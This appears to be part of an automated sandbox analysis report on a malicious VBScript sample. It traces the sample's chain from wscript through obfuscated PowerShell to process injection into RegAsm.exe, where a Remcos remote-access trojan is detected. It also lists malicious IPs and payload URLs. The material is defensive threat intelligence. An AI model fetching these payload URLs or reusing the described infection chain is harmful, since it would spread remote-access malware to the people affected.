Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 7048, type: MEMORYSTR
Contains functionality to launch a control a shell (cmd.exe)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: cmd.exe 11_2_0040569A
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1523832 Sample: 5fKvwnCAeC.vbs Startdate: 02/10/2024 Architecture: WINDOWS Score: 100 25 ia600100.us.archive.org 2->25 37 Multi AV Scanner detection for domain / URL 2->37 39 Suricata IDS alerts for network traffic 2->39 41 Found malware configuration 2->41 43 15 other signatures 2->43 9 wscript.exe 1 2->9         started        signatures3 process4 signatures5 53 VBScript performs obfuscated calls to suspicious functions 9->53 55 Suspicious powershell command line found 9->55 57 Wscript starts Powershell (via cmd or directly) 9->57 59 3 other signatures 9->59 12 powershell.exe 7 9->12         started        process6 signatures7 61 Suspicious powershell command line found 12->61 63 Obfuscated command line found 12->63 65 Suspicious execution chain found 12->65 67 Found suspicious powershell code related to unpacking or dynamic code loading 12->67 15 powershell.exe 14 15 12->15         started        19 conhost.exe 12->19         started        process8 dnsIp9 29 45.90.89.123, 49707, 80 CMCSUS Bulgaria 15->29 31 ia600100.us.archive.org 207.241.227.240, 443, 49706 INTERNET-ARCHIVEUS United States 15->31 33 Writes to foreign memory regions 15->33 35 Injects a PE file into a foreign processes 15->35 21 RegAsm.exe 3 2 15->21         started        signatures10 process11 dnsIp12 27 45.90.89.98, 49708, 49713, 60898 CMCSUS Bulgaria 21->27 45 Contains functionality to bypass UAC (CMSTPLUA) 21->45 47 Detected Remcos RAT 21->47 49 Contains functionalty to change the wallpaper 21->49 51 5 other signatures 21->51 signatures13
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
45.90.89.123
 unknown Bulgaria
33657 CMCSUS true
45.90.89.98
 unknown Bulgaria
33657 CMCSUS true
207.241.227.240
 ia600100.us.archive.org United States
7941 INTERNET-ARCHIVEUS false

Contacted Domains

Name IP Active
ia600100.us.archive.org 207.241.227.240 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt false unknown
http://45.90.89.123/2117/RMCCF.txt true unknown
45.90.89.98 true unknown